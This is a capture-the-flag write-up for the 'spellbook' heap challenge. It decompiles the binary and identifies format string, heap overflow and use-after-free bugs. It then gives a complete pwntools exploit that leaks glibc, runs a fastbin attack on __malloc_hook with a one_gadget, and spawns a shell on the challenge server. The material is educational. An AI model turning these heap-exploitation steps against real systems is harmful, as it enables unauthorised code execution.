Spellbook
19 minutes to read
We are given a 64-bit binary called spellbook
:
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./glibc/'
Reverse engineering
If we open the binary in Ghidra, we will see this decompiled C source code for the main
function:
void main() {
size_t option;
setup();
banner();
while (true) {
while (true) {
while (option = menu(), option == 2) {
show();
}
if (option < 3) break;
if (option == 3) {
edit();
} else {
if (option != 4) goto LAB_001010e9;
delete();
}
}
if (option != 1) break;
add();
}
LAB_001010e9:
printf("\n%s[-] You are not a wizard! You are a muggle!\n\n", &DAT_001017f7);
/* WARNING: Subroutine does not return */
exit(0x16);
}
If we run the binary, it shows a typical menu for a heap exploitation challenge:
$ ./spellbook
β
β β β³ β³ β· βΊ βΊ β
β ββ ββ ββββ
βββ β ββ βββ
βββ ββ β ββ
β β ββ βββ
ββ ββ ββ
ββ ββ βββ
ββ β ββ ββ
ββ β βββ ββββββββββββ
ββ β ββ ββββββ ββ
ββ β ββ ββ ββββ
ββ β βββ βββ ββββββββββββββββββ
ββ β β ββ ββββββββββββββββββ
ββ β βββ ββββββββββ
ββ ββ βββ ββββββββββββ
ββ βββ βββββββ
βββββ ββββββ
βββ βββββ
ββββ
α α α α α α α α α α α
α 1. Add β
β β β³ β³ α
α 2. Show β
β β β³ β³ α
α 3. Edit β
β β β³ β³ α
α 4. Delete β
β β β³ β³ α
α α α α α α α α α α α
>>
Allocation function
We can add spells using function add
(option 1):
void add() {
int power_copy;
ulong index;
spl *p_spell;
ssize_t length;
ulong power;
char *p_spell;
long in_FS_OFFSET;
int r_size;
int size;
size_t idx;
spl *spell;
char *ptr;
char align[48];
long canary;
canary = *(long *) (in_FS_OFFSET + 0x28);
printf(&entry);
index = read_num();
if (index < 10) {
p_spell = (spl *) malloc(0x28);
printf(&insert_type);
length = read(0, p_spell, 23);
p_spell->type[(int) length - 1] = '\0';
printf(&insert_power);
power = read_num();
power_copy = (int) power;
if ((power_copy < 1) || (1000 < power_copy)) {
printf("\n%s[-] Such power is not allowed!\n", &DAT_001017f7);
/* WARNING: Subroutine does not return */
exit(0x122);
}
p_spell->power = power_copy;
p_spell = (char *) malloc((long) p_spell->power);
p_spell->sp = p_spell;
printf(&insert_p_spell);
length = read(0, p_spell->sp, (long) (power_copy - 1));
p_spell->sp[(long) (int) length - 1] = '\0';
table[index] = p_spell;
printf(&DAT_001018d8, &DAT_001018d0, &DAT_00101198);
} else {
printf(¬_found, &DAT_001017f7, &DAT_00101198);
}
if (canary != *(long *) (in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
}
We see that the program allocates 0x28
bytes for a spl
structure and we can enter 23 bytes in p_spell->type
. After that, we can select the power of the spell (which is a positive integer up to 1000). And this power value is used to allocate memory for p_spell->sp
. Then we can enter data in p_spell->sp
, there are no overflows in this function.
We can create up to 10 spells, it does not matter the order.
Show function
The function show
handles option 2:
void show() {
ulong index;
long in_FS_OFFSET;
size_t idx;
long canary;
canary = *(long *) (in_FS_OFFSET + 0x28);
printf(&entry);
index = read_num();
if ((index < 10) && (table[index] != NULL)) {
printf(&type);
printf(table[index]->type);
printf(&spell_data);
printf(table[index]->sp);
} else {
printf(¬_found, &DAT_001017f7, &DAT_00101198);
}
if (canary != *(long *) (in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
}
Here we have a Format String vulnerability because we control table[index]->sp
and it is used as first parameter of printf
. Therefore, we can enter format string specifiers such as %x
to leak memory addresses from the stack. Nevertheless, I won’t use this vulnerability to solve the challenge.
Edit function
This is edit
:
void edit() {
ulong index;
ssize_t length;
long in_FS_OFFSET;
int r_size;
size_t idx;
spl *new_spell;
long canary;
spl *p_spell;
canary = *(long *) (in_FS_OFFSET + 0x28);
printf(&entry);
index = read_num();
if ((index < 10) && (table[index] != NULL)) {
p_spell = table[index];
printf(&type);
length = read(0, p_spell, 23);
p_spell->type[(int) length - 1] = '\0';
printf(&entry_data);
length = read(0, p_spell->sp, 31);
p_spell->type[(int) length - 1] = '\0';
printf(&changed, &DAT_001018d0, &DAT_00101198);
} else {
printf(¬_found, &DAT_001017f7, &DAT_00101198);
}
if (canary != *(long *) (in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
}
Here we have a bug in this instruction: length = read(0, p_spell->sp, 31);
because p_spell->sp
was allocated in add
using p_spell->power
as the allocation size. Since the minimum space we can allocate with malloc
is 0x20
-sized chunks (user data is 0x18
), we can overflow into the size metadata of the adjacent chunk (Heap Overflow vulnerability).
Free function
Last but not least, this is delete
:
void delete() {
ulong index;
long in_FS_OFFSET;
size_t idx;
spl *ptr;
long canary;
spl *p_spell;
canary = *(long *) (in_FS_OFFSET + 0x28);
printf(&entry);
index = read_num();
if ((index < 10) && (table[index] != NULL)) {
p_spell = table[index];
free(p_spell->sp);
free(p_spell);
printf(&DAT_00101978, &DAT_001018d0, &DAT_00101198);
} else {
printf(¬_found, &DAT_001017f7, &DAT_00101198);
}
if (canary != *(long *) (in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
}
Here we have another vulnerability. Notice that both p_spell->sp
and p_spell
are freed, but none of them is set to NULL
. Therefore, we can still use those variables in functions show
and edit
(Use After Free vulnerability).
Exploit strategy
First of all, we have an old version of Glibc (2.23):
$ glibc/ld-linux-x86-64.so.2 glibc/libc.so.6
GNU C Library (Ubuntu GLIBC 2.23-0ubuntu11.3) stable release version 2.23, by Roland McGrath et al.
Copyright (C) 2016 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 5.4.0 20160609.
Available extensions:
crypt add-on version 2.1 by Michael Glad and others
GNU Libidn by Simon Josefsson
Native POSIX Threads Library by Ulrich Drepper et al
BIND-8.2.3-T5B
libc ABIs: UNIQUE IFUNC
For bug reporting instructions, please see:
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.
This version is extremely vulnerable to memory corruption attacks. Some techniques are shown in how2heap.
In heap exploitation challenges, it is common to achieve arbitrary read and write primitives in order to get code execution. Thus, some typical targets are function hooks (__malloc_hook
, __free_hook
, …), GOT entries, exit handlers and return addresses, among others. This time, we will be targetting __malloc_hook
(we will use a one_gadget
shell).
Exploit development
To start, we need to get a memory leak from Glibc to bypass ASLR.
Leaking memory addresses
This can be easily done using the Format String vulnerability in the show
function:
$ ./spellbook
β
β β β³ β³ β· βΊ βΊ β
β ββ ββ ββββ
βββ β ββ βββ
βββ ββ β ββ
β β ββ βββ
ββ ββ ββ
ββ ββ βββ
ββ β ββ ββ
ββ β βββ ββββββββββββ
ββ β ββ ββββββ ββ
ββ β ββ ββ ββββ
ββ β βββ βββ ββββββββββββββββββ
ββ β β ββ ββββββββββββββββββ
ββ β βββ ββββββββββ
ββ ββ βββ ββββββββββββ
ββ βββ βββββββ
βββββ ββββββ
βββ βββββ
ββββ
α α α α α α α α α α α
α 1. Add β
β β β³ β³ α
α 2. Show β
β β β³ β³ α
α 3. Edit β
β β β³ β³ α
α 4. Delete β
β β β³ β³ α
α α α α α α α α α α α
>> 1
β
β β β³ β³'s entry: 0
Insert β
β β β³ β³'s type: asdf
Insert β
β β β³ β³ power: 1000
Enter β
β β β³ β³: %lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.
[+] β
β β β³ β³ has been added!
α α α α α α α α α α α
α 1. Add β
β β β³ β³ α
α 2. Show β
β β β³ β³ α
α 3. Edit β
β β β³ β³ α
α 4. Delete β
β β β³ β³ α
α α α α α α α α α α α
>> 2
β
β β β³ β³'s entry: 0
β
β β β³ β³'s type: asdf
β
β β β³ β³ : 7fff1dc2f090.0.7fba5cf5e3c0.7fba5d454700.1d.0.fdd684686659a600.7fff1dc31750.559c32e010d9.7fff1dc31830.fdd684686659a600.559c32e01110.7fba5ce87840.1.7fff1dc31838.15d456ca0.559c32e01080.0.7de28999c538235f.559c32e008c0.7fff1dc31830.0.0.2924d7dfc9d8235f.29ae558908e8235f.0.0.0.7fff1dc31848.7fba5d458168.7fba5d24180b.0.0.559c32e008c0.7fff1dc31830.0.559c32e008ea.7fff1dc31828.1c.1.7fff1dc32ad4.0.7fff1dc32ae0.7fff1dc32aeb.7fff1dc32b02.7fff1dc32b1d.7fff1dc32b53.7fff1dc32b64.7fff1dc32b8e.7fff1dc32b9f.7fff1dc32bb6.7fff1dc32bd4.7fff1dc32bef.7fff1dc32c07.
α α α α α α α α α α α
α 1. Add β
β β β³ β³ α
α 2. Show β
β β β³ β³ α
α 3. Edit β
β β β³ β³ α
α 4. Delete β
β β β³ β³ α
α α α α α α α α α α α
>>
Those addresses that start with 0x7fba5c
are addresses within Glibc, so we can take any of them and find the base address.
However, let’s use heap exploitation techniques to get the leak. For this, we can allocate a big chunk and free it, so that it is added to the Unsorted Bin. When this happens there are two pointers (fd
and bk
) that point to some offset of main_arena
, which is a symbol from Glibc.
We can view this in GDB:
$ gdb -q spellbook
Reading symbols from spellbook...
gefβ€ run
Starting program: ./spellbook
β
β β β³ β³ β· βΊ βΊ β
β ββ ββ ββββ
βββ β ββ βββ
βββ ββ β ββ
β β ββ βββ
ββ ββ ββ
ββ ββ βββ
ββ β ββ ββ
ββ β βββ ββββββββββββ
ββ β ββ ββββββ ββ
ββ β ββ ββ ββββ
ββ β βββ βββ ββββββββββββββββββ
ββ β β ββ ββββββββββββββββββ
ββ β βββ ββββββββββ
ββ ββ βββ ββββββββββββ
ββ βββ βββββββ
βββββ ββββββ
βββ βββββ
ββββ
α α α α α α α α α α α
α 1. Add β
β β β³ β³ α
α 2. Show β
β β β³ β³ α
α 3. Edit β
β β β³ β³ α
α 4. Delete β
β β β³ β³ α
α α α α α α α α α α α
>> 1
β
β β β³ β³'s entry: 0
Insert β
β β β³ β³'s type: asdf
Insert β
β β β³ β³ power: 1000
Enter β
β β β³ β³: fdsa
[+] β
β β β³ β³ has been added!
α α α α α α α α α α α
α 1. Add β
β β β³ β³ α
α 2. Show β
β β β³ β³ α
α 3. Edit β
β β β³ β³ α
α 4. Delete β
β β β³ β³ α
α α α α α α α α α α α
>> 1
β
β β β³ β³'s entry: 1
Insert β
β β β³ β³'s type: qwer
Insert β
β β β³ β³ power: 16
Enter β
β β β³ β³: rewq
[+] β
β β β³ β³ has been added!
α α α α α α α α α α α
α 1. Add β
β β β³ β³ α
α 2. Show β
β β β³ β³ α
α 3. Edit β
β β β³ β³ α
α 4. Delete β
β β β³ β³ α
α α α α α α α α α α α
>> ^C
Program received signal SIGINT, Interrupt.
0x00007ffff7b04360 in read () from ./glibc/libc.so.6
Notice that we have added a small chunk after the big chunk to prevent consolidation with the top chunk:
gefβ€ heap chunks
Chunk(addr=0x555555604010, size=0x30, flags=PREV_INUSE)
[0x0000555555604010 61 73 64 66 00 00 00 00 00 00 00 00 00 00 00 00 asdf............]
Chunk(addr=0x555555604040, size=0x3f0, flags=PREV_INUSE)
[0x0000555555604040 66 64 73 61 00 00 00 00 00 00 00 00 00 00 00 00 fdsa............]
Chunk(addr=0x555555604430, size=0x30, flags=PREV_INUSE)
[0x0000555555604430 71 77 65 72 00 00 00 00 00 00 00 00 00 00 00 00 qwer............]
Chunk(addr=0x555555604460, size=0x20, flags=PREV_INUSE)
[0x0000555555604460 72 65 77 71 00 00 00 00 00 00 00 00 00 00 00 00 rewq............]
Chunk(addr=0x555555604480, size=0x20b90, flags=PREV_INUSE)
[0x0000555555604480 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................]
Chunk(addr=0x555555604480, size=0x20b90, flags=PREV_INUSE) β top chunk
Now, we free the big chunk:
gefβ€ continue
Continuing.
4
β
β β β³ β³'s entry: 0
[+] β
β β β³ β³ has been deleted!
α α α α α α α α α α α
α 1. Add β
β β β³ β³ α
α 2. Show β
β β β³ β³ α
α 3. Edit β
β β β³ β³ α
α 4. Delete β
β β β³ β³ α
α α α α α α α α α α α
>> ^C
Program received signal SIGINT, Interrupt.
0x00007ffff7b04360 in read () from ./glibc/libc.so.6
And we have this heap layout:
gefβ€ heap chunks
Chunk(addr=0x555555604010, size=0x30, flags=PREV_INUSE)
[0x0000555555604010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................]
Chunk(addr=0x555555604040, size=0x3f0, flags=PREV_INUSE)
[0x0000555555604040 78 1b dd f7 ff 7f 00 00 78 1b dd f7 ff 7f 00 00 x.......x.......]
Chunk(addr=0x555555604430, size=0x30, flags=! PREV_INUSE)
[0x0000555555604430 71 77 65 72 00 00 00 00 00 00 00 00 00 00 00 00 qwer............]
Chunk(addr=0x555555604460, size=0x20, flags=PREV_INUSE)
[0x0000555555604460 72 65 77 71 00 00 00 00 00 00 00 00 00 00 00 00 rewq............]
Chunk(addr=0x555555604480, size=0x20b90, flags=PREV_INUSE)
[0x0000555555604480 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................]
Chunk(addr=0x555555604480, size=0x20b90, flags=PREV_INUSE) β top chunk
gefβ€ heap bins
[+] No Tcache in this version of libc
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ Fastbins for arena at 0x7ffff7dd1b20 ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
Fastbins[idx=0, size=0x20] 0x00
Fastbins[idx=1, size=0x30] β Chunk(addr=0x555555604010, size=0x30, flags=PREV_INUSE)
Fastbins[idx=2, size=0x40] 0x00
Fastbins[idx=3, size=0x50] 0x00
Fastbins[idx=4, size=0x60] 0x00
Fastbins[idx=5, size=0x70] 0x00
Fastbins[idx=6, size=0x80] 0x00
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ Unsorted Bin for arena at 0x7ffff7dd1b20 ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
[+] unsorted_bins[0]: fw=0x555555604030, bk=0x555555604030
β Chunk(addr=0x555555604040, size=0x3f0, flags=PREV_INUSE)
[+] Found 1 chunks in unsorted bin.
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ Small Bins for arena at 0x7ffff7dd1b20 βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
[+] Found 0 chunks in 0 small non-empty bins.
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ Large Bins for arena at 0x7ffff7dd1b20 βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
[+] Found 0 chunks in 0 large non-empty bins.
gefβ€ x/10gx 0x555555604030
0x555555604030: 0x00000000000003e8 0x00000000000003f1
0x555555604040: 0x00007ffff7dd1b78 0x00007ffff7dd1b78
0x555555604050: 0x0000000000000000 0x0000000000000000
0x555555604060: 0x0000000000000000 0x0000000000000000
0x555555604070: 0x0000000000000000 0x0000000000000000
There is a chunk in the Unsorted Bin, with fd
and bk
pointing to 0x00007ffff7dd1b78
(main_arena
). We can find the offset like this:
gefβ€ vmmap
[ Legend: Code | Heap | Stack ]
Start End Offset Perm Path
0x00555555400000 0x00555555402000 0x00000000000000 r-x ./spellbook
0x00555555602000 0x00555555603000 0x00000000002000 r-- ./spellbook
0x00555555603000 0x00555555604000 0x00000000003000 rw- ./spellbook
0x00555555604000 0x00555555625000 0x00000000000000 rw- [heap]
0x007ffff7a0d000 0x007ffff7bcd000 0x00000000000000 r-x ./glibc/libc.so.6
0x007ffff7bcd000 0x007ffff7dcd000 0x000000001c0000 --- ./glibc/libc.so.6
0x007ffff7dcd000 0x007ffff7dd1000 0x000000001c0000 r-- ./glibc/libc.so.6
0x007ffff7dd1000 0x007ffff7dd3000 0x000000001c4000 rw- ./glibc/libc.so.6
0x007ffff7dd3000 0x007ffff7dd7000 0x00000000000000 rw-
0x007ffff7dd7000 0x007ffff7dfd000 0x00000000000000 r-x ./glibc/ld-linux-x86-64.so.2
0x007ffff7ff3000 0x007ffff7ff6000 0x00000000000000 rw-
0x007ffff7ff6000 0x007ffff7ffa000 0x00000000000000 r-- [vvar]
0x007ffff7ffa000 0x007ffff7ffc000 0x00000000000000 r-x [vdso]
0x007ffff7ffc000 0x007ffff7ffd000 0x00000000025000 r-- ./glibc/ld-linux-x86-64.so.2
0x007ffff7ffd000 0x007ffff7ffe000 0x00000000026000 rw- ./glibc/ld-linux-x86-64.so.2
0x007ffff7ffe000 0x007ffff7fff000 0x00000000000000 rw-
0x007ffffffde000 0x007ffffffff000 0x00000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x00000000000000 --x [vsyscall]
gefβ€ p/x 0x00007ffff7dd1b78 - 0x007ffff7a0d000
$1 = 0x3c4b78
Notice that the above address will be shown using show
due to the Use After Free vulnerability:
gefβ€ c
Continuing.
2
β
β β β³ β³'s entry: 0
β
β β β³ β³'s type:
β
β β β³ β³ : x
. Add β
β β β³ β³ α
α 2. Show β
β β β³ β³ α
α 3. Edit β
β β β³ β³ α
α 4. Delete β
β β β³ β³ α
α α α α α α α α α α α
>>
You can see an x
, which is part of the leak (byte 0x78
). The rest of the bytes are not printable, so they are not shown, but they are present. Let’s start coding the exploit:
#!/usr/bin/env python3
from pwn import *
from typing import Tuple
context.binary = elf = ELF('spellbook')
glibc = ELF('glibc/libc.so.6', checksec=False)
def get_process():
if len(sys.argv) == 1:
return elf.process()
host, port = sys.argv[1].split(':')
return remote(host, int(port))
def add(p, entry: int, type_data: bytes, power: int, data: bytes):
p.sendlineafter(b'>> ', b'1')
p.sendlineafter(b'entry: ', str(entry).encode())
p.sendlineafter(b'type: ', type_data)
p.sendlineafter(b'power: ', str(power).encode())
p.sendafter(b': ', data)
def show(p, entry: int) -> Tuple[bytes, bytes]:
p.sendlineafter(b'>> ', b'2')
p.sendlineafter(b'entry: ', str(entry).encode())
p.recvuntil(b'type: ')
type_data = p.recvline().strip()
p.recvuntil(b': ')
data = p.recvline().strip()
return type_data, data
def edit(p, entry: int, type_data: bytes, data: bytes):
p.sendlineafter(b'>> ', b'3')
p.sendlineafter(b'entry: ', str(entry).encode())
p.sendlineafter(b'type: ', type_data)
p.sendafter(b': ', data)
def delete(p, entry: int):
p.sendlineafter(b'>> ', b'4')
p.sendlineafter(b'entry: ', str(entry).encode())
def main():
p = get_process()
add(p, 0, b'A', 1000, b'A')
add(p, 1, b'B', 16, b'B')
delete(p, 0)
_, leak = show(p, 0)
glibc.address = u64(leak.ljust(8, b'\0')) - 0x3c4b78
log.success(f'Glibc base address: {hex(glibc.address)}')
p.interactive()
if __name__ == '__main__':
main()
It looks like a lot of code, but let’s focus on main
, the rest are helper functions. With the code above we should extract the memory leak and find the base address of Glibc:
$ python3 solve.py
[*] './spellbook'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./glibc/'
[+] Starting local process './spellbook': pid 4051093
[+] Glibc base address: 0x7f7810d41000
[*] Switching to interactive mode
α α α α α α α α α α α
α 1. Add β
β β β³ β³ α
α 2. Show β
β β β³ β³ α
α 3. Edit β
β β β³ β³ α
α 4. Delete β
β β β³ β³ α
α α α α α α α α α α α
>> $
There we have it, let’s move on.
Fast Bin attack
There are probably many ways to exploit this program because of Glibc 2.23 and the bugs we have found (Format String vulnerability, Heap Overflow vulnerability, Use After Free vulnerability).
This time, I will do a Fast Bin attack. This technique consists of modifying the fd
pointer of a freed chunk (with the Use After Free vulnerability in edit
) to another memory address. Therefore, the Fast Bin linked list will be corrupted and, when allocating new chunks, there will be one of them allocated at our desired address.
Nevertheless, not all memory addresses are valid since Glibc 2.23 does performs some minor checks such as the size field of the chunk. In short, if we free a chunk of size X
, the memory slot before the address where the fd
points to must have a valid size value (that is X
).
To get code execution, we want to write a one_gadget
shell in __malloc_hook
. For Fast Bin attacks, this is a common target because of the memory layout (very different to __free_hook
):
gefβ€ x/gx &__malloc_hook
0x7ffff7dd1b10 <__malloc_hook>: 0x00007ffff7a928a0
gefβ€ x/20gx 0x7ffff7dd1b10 - 0x40
0x7ffff7dd1ad0: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1ae0: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1af0: 0x00007ffff7dd0260 0x0000000000000000
0x7ffff7dd1b00 <__memalign_hook>: 0x00007ffff7a92ea0 0x00007ffff7a92a70
0x7ffff7dd1b10 <__malloc_hook>: 0x00007ffff7a928a0 0x0000000000000000
0x7ffff7dd1b20: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b30: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b40: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b50: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b60: 0x0000000000000000 0x0000000000000000
gefβ€ x/gx &__free_hook
0x7ffff7dd37a8 <__free_hook>: 0x0000000000000000
gefβ€ x/20gx 0x7ffff7dd37a8 - 0x40
0x7ffff7dd3768: 0x0000000000000000 0x0000000000000000
0x7ffff7dd3778: 0x0000000000000000 0x0000000000000000
0x7ffff7dd3788: 0x0000000000000000 0x0000000000000000
0x7ffff7dd3798: 0x0000000000000000 0x0000000000000000
0x7ffff7dd37a8 <__free_hook>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd37b8: 0x0000000000000000 0x0000000000000000
0x7ffff7dd37c8: 0x0000000000000000 0x0000000000000000
0x7ffff7dd37d8: 0x0000000000000000 0x0000000000000000
0x7ffff7dd37e8: 0x0000000000000000 0x0000000000000000
0x7ffff7dd37f8: 0x0000000000000000 0x0000000000000000
We prefer __malloc_hook
to __free_hook
because we can have a byte 0x7f
(from a memory address) that can simulate a size field for a chunk sized 0x70
bytes (the last 4 bits are not taken into account when computing the size, they are just flags that manage other features of the heap). For instance:
gefβ€ x/20gx 0x7ffff7dd1b10 - 35
0x7ffff7dd1aed: 0xfff7dd0260000000 0x000000000000007f
0x7ffff7dd1afd: 0xfff7a92ea0000000 0xfff7a92a7000007f
0x7ffff7dd1b0d: 0xfff7a928a000007f 0x000000000000007f
0x7ffff7dd1b1d: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b2d: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b3d: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b4d: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b5d: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b6d: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b7d: 0x0000000000000000 0x0000000000000000
It looks like a heap chunk, doesn’t it? The only thing we must care about is the offset where __malloc_hook
is at. We will see it later.
This video shows the concept using another technique called Fast Bin dup: Introduction To GLIBC Heap Exploitation - Max Kamper.
For the moment, we can corrupt the fd
pointer of the chunk number 2:
gdb.attack(p, 'continue')
add(p, 2, b'C', 0x68, b'C')
delete(p, 2)
delete(p, 1)
edit(p, 2, b'c', p64(glibc.sym.__malloc_hook - 35))
p.interactive()
We have this:
$ python3 solve.py
[*] './spellbook'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./glibc/'
[+] Starting local process './spellbook': pid 4096449
[*] running in new terminal: ['/usr/bin/gdb', '-q', './spellbook', '4096449', '-x', '/tmp/pwn5o8fjqmf.gdb']
[+] Waiting for debugger: Done
[+] Glibc base address: 0x7f74c1978000
[*] Switching to interactive mode
[+] β
β β β³ β³ has been changed!
α α α α α α α α α α α
α 1. Add β
β β β³ β³ α
α 2. Show β
β β β³ β³ α
α 3. Edit β
β β β³ β³ α
α 4. Delete β
β β β³ β³ α
α α α α α α α α α α α
>> $
gefβ€ heap chunks
Chunk(addr=0x55bb36239010, size=0x30, flags=PREV_INUSE)
[0x000055bb36239010 63 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c...............]
Chunk(addr=0x55bb36239040, size=0x70, flags=PREV_INUSE)
[0x000055bb36239040 ed ca d3 c1 74 7f 00 00 58 cf d3 c1 74 7f 00 00 ....t...X...t...]
Chunk(addr=0x55bb362390b0, size=0x380, flags=PREV_INUSE)
[0x000055bb362390b0 78 cb d3 c1 74 7f 00 00 78 cb d3 c1 74 7f 00 00 x...t...x...t...]
Chunk(addr=0x55bb36239430, size=0x30, flags=! PREV_INUSE)
[0x000055bb36239430 00 90 23 36 bb 55 00 00 00 00 00 00 00 00 00 00 ..#6.U..........]
Chunk(addr=0x55bb36239460, size=0x20, flags=PREV_INUSE)
[0x000055bb36239460 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................]
Chunk(addr=0x55bb36239480, size=0x20b90, flags=PREV_INUSE)
[0x000055bb36239480 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................]
Chunk(addr=0x55bb36239480, size=0x20b90, flags=PREV_INUSE) β top chunk
gefβ€ heap bins
[+] No Tcache in this version of libc
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ Fastbins for arena at 0x7f74c1d3cb20 ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
Fastbins[idx=0, size=0x20] β Chunk(addr=0x55bb36239460, size=0x20, flags=PREV_INUSE)
Fastbins[idx=1, size=0x30] β Chunk(addr=0x55bb36239430, size=0x30, flags=! PREV_INUSE) β Chunk(addr=0x55bb36239010, size=0x30, flags=PREV_INUSE) β [Corrupted chunk at 0x73]
Fastbins[idx=2, size=0x40] 0x00
Fastbins[idx=3, size=0x50] 0x00
Fastbins[idx=4, size=0x60] 0x00
Fastbins[idx=5, size=0x70] β Chunk(addr=0x55bb36239040, size=0x70, flags=PREV_INUSE) β Chunk(addr=0x7f74c1d3cafd, size=0x78, flags=PREV_INUSE|IS_MMAPPED|NON_MAIN_ARENA) β [Corrupted chunk at 0x74c19fdea0000010]
Fastbins[idx=6, size=0x80] 0x00
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ Unsorted Bin for arena at 0x7f74c1d3cb20 ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
[+] unsorted_bins[0]: fw=0x55bb362390a0, bk=0x55bb362390a0
β Chunk(addr=0x55bb362390b0, size=0x380, flags=PREV_INUSE)
[+] Found 1 chunks in unsorted bin.
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ Small Bins for arena at 0x7f74c1d3cb20 βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
[+] Found 0 chunks in 0 small non-empty bins.
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ Large Bins for arena at 0x7f74c1d3cb20 βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
[+] Found 0 chunks in 0 large non-empty bins.
Notice how the Fast Bin of size 0x70
is corrupted with an address near __malloc_hook
. Now, we can allocate another spell with size 0x70
. Then, the next chunk sized 0x70
bytes will be allocated near __malloc_hook
. We can use a pattern string to see the offset to write exactly at __malloc_hook
:
add(p, 5, b'F', 0x68, b'F')
add(p, 6, b'G', 0x68, cyclic(0x67))
p.interactive()
We will see this in GDB:
gefβ€ x/gx &__malloc_hook
0x7f6a23598b10 <__malloc_hook>: 0x6161676161616661
gefβ€ x/s &__malloc_hook
0x7f6a23598b10 <__malloc_hook>: "afaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaaza"
Using pwn cyclic
we can find the offset:
$ pwn cyclic -l afaa
19
Finally, we can use one_gadget
and find a gadget that spawns a shell when calling malloc
(which will use first __malloc_hook
):
$ one_gadget glibc/libc.so.6
0x45226 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf03a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1247 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
one_gadget = (0x45226, 0x4527a, 0xf03a4, 0xf1247)[1]
add(p, 3, b'D', 0x68, b'D')
add(p, 4, b'E', 0x68, cyclic(19) + p64(glibc.address + one_gadget))
p.sendlineafter(b'>> ', b'1')
p.sendlineafter(b'entry: ', b'5')
p.interactive()
Now we get a shell locally:
$ python3 solve.py
[*] './spellbook'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./glibc/'
[+] Starting local process './spellbook': pid 4114099
[+] Glibc base address: 0x7ff869fef000
[*] Switching to interactive mode
$ ls
glibc solve.py spellbook
Flag
So, let’s try remotely:
$ python3 solve.py 178.62.5.219:31611
[*] './spellbook'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./glibc/'
[+] Opening connection to 178.62.5.219 on port 31611: Done
[+] Glibc base address: 0x7f7e5ff09000
[*] Switching to interactive mode
$ ls
flag.txt
glibc
spellbook
$ cat flag.txt
HTB{t00_m4ny_w4y5_2_s0lv3_ch005e_y0ur5}
The full exploit code is here: solve.py
.